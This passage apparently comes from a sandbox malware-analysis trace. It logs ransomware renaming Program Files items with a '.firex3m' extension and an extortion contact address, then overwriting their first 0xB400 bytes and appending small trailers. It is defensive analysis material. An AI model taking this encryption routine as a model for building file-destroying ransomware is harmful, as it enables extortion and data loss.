ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x390039, dwReserved1=0x320038, cFileName="hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIVEXS~1.FIR")) returned 0x6d5580 [0245.775] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0245.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0245.775] GetProcessHeap () returned 0x630000 [0245.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74d1080 [0245.775] GetProcessHeap () returned 0x630000 [0245.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x746bd68 [0245.776] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.776] ReadFile (in: hFile=0x6c8, lpBuffer=0x74d1080, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d1080*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.581] GetProcessHeap () returned 0x630000 [0253.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0253.581] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.581] WriteFile (in: hFile=0x6c8, lpBuffer=0x746bd68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.582] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.352] WriteFile (in: hFile=0x6c8, lpBuffer=0x7477167*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477167*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.352] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.352] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.353] CloseHandle (hObject=0x6c8) returned 1 [0254.418] GetProcessHeap () returned 0x630000 [0254.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0254.419] GetProcessHeap () returned 0x630000 [0254.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74d1080 | out: hHeap=0x630000) returned 1 [0254.421] GetProcessHeap () returned 0x630000 [0254.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0254.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d8f01cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x18192, dwReserved0=0xbac7496, dwReserved1=0x74d1078, cFileName="hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIVEXS~1.FIR")) returned 0x6d5380 [0254.421] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0254.421] Sleep (dwMilliseconds=0x1) [0255.816] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x65 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0255.816] GetProcessHeap () returned 0x630000 [0255.816] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0255.816] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.163] Sleep (dwMilliseconds=0x1) [0257.165] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM", len=0x70 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM") returned 1 [0257.166] GetProcessHeap () returned 0x630000 [0257.166] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd4) returned 0x6fe3bb0 [0257.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0257.171] CloseHandle (hObject=0x684) returned 1 [0257.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b2f705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="EXPEDITN.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXPEDI~1.FIR")) returned 0x6d4f80 [0257.175] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0257.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0257.175] GetProcessHeap () returned 0x630000 [0257.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0257.175] GetProcessHeap () returned 0x630000 [0257.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73b2408 [0257.175] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.175] ReadFile (in: hFile=0x684, lpBuffer=0x7264620, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0262.772] GetProcessHeap () returned 0x630000 [0262.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0262.772] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.772] WriteFile (in: hFile=0x684, lpBuffer=0x73b2408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2408*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0262.773] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.773] WriteFile (in: hFile=0x684, lpBuffer=0x73bd807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bd807*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0262.773] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.773] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0262.773] CloseHandle (hObject=0x684) returned 1 [0262.773] GetProcessHeap () returned 0x630000 [0262.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2408 | out: hHeap=0x630000) returned 1 [0262.773] GetProcessHeap () returned 0x630000 [0262.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0262.773] GetProcessHeap () returned 0x630000 [0262.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0262.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b2f705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x629232eb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1955d, dwReserved0=0xbac7496, dwReserved1=0x7264618, cFileName="EXPEDITN.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXPEDI~1.FIR")) returned 0x6d5540 [0262.774] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0262.774] Sleep (dwMilliseconds=0x1) [0263.794] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\179.png", len=0x7a | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\179.png") returned 1 [0263.794] GetProcessHeap () returned 0x630000 [0263.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc8) returned 0x6fe3bb0 [0263.794] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\179.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\179.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.795] Sleep (dwMilliseconds=0x1) [0264.620] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x5f | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0264.620] GetProcessHeap () returned 0x630000 [0264.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d18) returned 0x6fe3bb0 [0264.621] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.636] Sleep (dwMilliseconds=0x1) [0264.646] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-16.png", len=0x79 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-16.png") returned 1 [0264.646] GetProcessHeap () returned 0x630000 [0264.646] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0264.646] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.654] Sleep (dwMilliseconds=0x1) [0266.266] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", len=0x7d | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0266.266] GetProcessHeap () returned 0x630000 [0266.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bcc) returned 0x6fe3bb0 [0266.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.268] Sleep (dwMilliseconds=0x1) [0266.323] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", len=0x63 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 1 [0266.323] GetProcessHeap () returned 0x630000 [0266.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba8) returned 0x6fe3bb0 [0266.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0266.324] CloseHandle (hObject=0x6a4) returned 1 [0266.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\png32.flt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb950d65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45060, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="PNG32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PNG32F~1.FIR")) returned 0x6d5040 [0266.325] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0266.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\png32.flt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0266.326] GetProcessHeap () returned 0x630000 [0266.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7349f70 [0266.326] GetProcessHeap () returned 0x630000 [0266.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73553a0 [0266.326] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.326] ReadFile (in: hFile=0x6a4, lpBuffer=0x7349f70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7349f70*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.697] GetProcessHeap () returned 0x630000 [0274.697] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0274.697] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.698] WriteFile (in: hFile=0x6a4, lpBuffer=0x73553a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73553a0*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.703] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.703] WriteFile (in: hFile=0x6a4, lpBuffer=0x736079f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x736079f*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.708] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.709] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.709] CloseHandle (hObject=0x6a4) returned 1 [0274.709] GetProcessHeap () returned 0x630000 [0274.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73553a0 | out: hHeap=0x630000) returned 1 [0274.713] GetProcessHeap () returned 0x630000 [0274.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7349f70 | out: hHeap=0x630000) returned 1 [0274.714] GetProcessHeap () returned 0x630000 [0274.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0274.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69af7ec8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x45084, dwReserved0=0xbac7496, dwReserved1=0x7349f68, cFileName="PNG32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PNG32F~1.FIR")) returned 0x6d5040 [0274.714] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0274.715] Sleep (dwMilliseconds=0x1) [0274.735] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-72_contrast-white.png", len=0xa2 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-72_contrast-white.png") returned 1 [0274.735] GetProcessHeap () returned 0x630000 [0274.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c10) returned 0x6fe3bb0 [0274.735] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-72_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-72_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.737] Sleep (dwMilliseconds=0x1) [0274.745] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-72_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x483ff7c*="C:\\Program 